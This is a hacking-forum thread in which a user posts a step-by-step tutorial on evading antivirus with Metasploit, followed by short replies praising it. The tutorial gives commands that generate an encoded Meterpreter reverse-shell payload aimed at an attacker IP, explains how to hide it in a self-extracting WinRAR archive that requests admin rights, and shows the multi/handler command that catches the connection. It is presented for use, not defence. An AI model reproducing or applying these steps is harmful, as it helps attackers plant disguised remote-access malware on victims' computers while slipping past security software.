[Pixo]

Hello all,

I would like to create a topic reference regarding the antivirus evasion in any form whatsoever coupled of course with Metasploit.

To structure this subject I would ask you to follow this format:

Operating systems used
operating systems vulnerable
Required software (if any)
Antivirus evasion method (ideally with a link to a tutorial or a video)
A link to an analysis of https://www.virustotal.com/ the same day.

I would start it myself with a method which gives an executable with between 2 and 4 viruses detected randomly

Operating systems used:

backtrack 5R1
Windows XP sp3

Operating systems vulnerable :

Windows 7 and Xp Any Versions

Software requirements:

Dev-C + + Version 4.9.9.2 (in XP)
Winrar Version 4.10
The Source Shellcode of This Video

Here is the method I present to you but I am not the author of this video

http://youtu.be/TxVHVVX-9xw?hd=1

First you need to create the shellcode base with this command:

Code:

msfpayload windows/Meterpreter/reverse_tcp LHOST=192.168.1.97 LPORT=3333 R | msfencode -e x86/shikata_ga_nai -t c -a x86 -b "\x00\x0a\x0d" -c 5

It shows that:

Spoiler:

Then paste the shellcode at this point in the shell_part1 in Dev-C + + :

Spoiler:

By n0bul4r at 2012-05-01

And compil :

Spoiler:

Then open the command prompt: execute => cmd and insert the contents of shell_part1.exe inside a text file :

Code:

C:\..\User\Desktop\shell_part1.exe > shell.txt

Then open the text file and copy its contents to shell_final.cpp and compil

Spoiler:

Rename and select the file out and create an archive with Winrar sfx

Spoiler:

Click on Advanced tab and move on sfx options right then check the admin rights, add an icon, check hide all and give the file to launch

Spoiler:

Analyze.
And Test with :

Code:

msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.1.97 LPORT=3333 AutoRunScript=' migrate -f' E

Spoiler:

And Enjoy

PS:
I am looking to inject shellcode in an image, if you have any leads for me I'll be happy.
I have a few tracks here and there but I do not know how to proceed step by step.

[HrDe]

This thread really cool bro, i like a backtrack thread maker here. When ur thread complete 5 day of posting then u PM me ur thread link because i want to ADD this thread on "Thread Market" but first read rule carefully.

[Pixo]

Hi,
Thanks for reply.
If i understand, I must send you a private message in 5 days including this format:
Thread Name:-------------
Thread Link:---------------
Thread Author:------------
Author Profile Link:--------
To my Tut is put in the best forum

I specified that this is my work, I did exactly the same on another forum with the same username and the same email address.

I will post now, three other TuT, which I think its the same quality

[HrDe]

Hi,
Thanks for reply.
If i understand, I must send you a private message in 5 days including this format:
Thread Name:-------------
Thread Link:---------------
Thread Author:------------
Author Profile Link:--------
To my Tut is put in the best forum

I specified that this is my work, I did exactly the same on another forum with the same username and the same email address.

I will post now, three other TuT, which I think its the same quality

Welcome ,i m waiting for 5 coming day......

[editify]

Nice tutorial bro.
Thanks a lot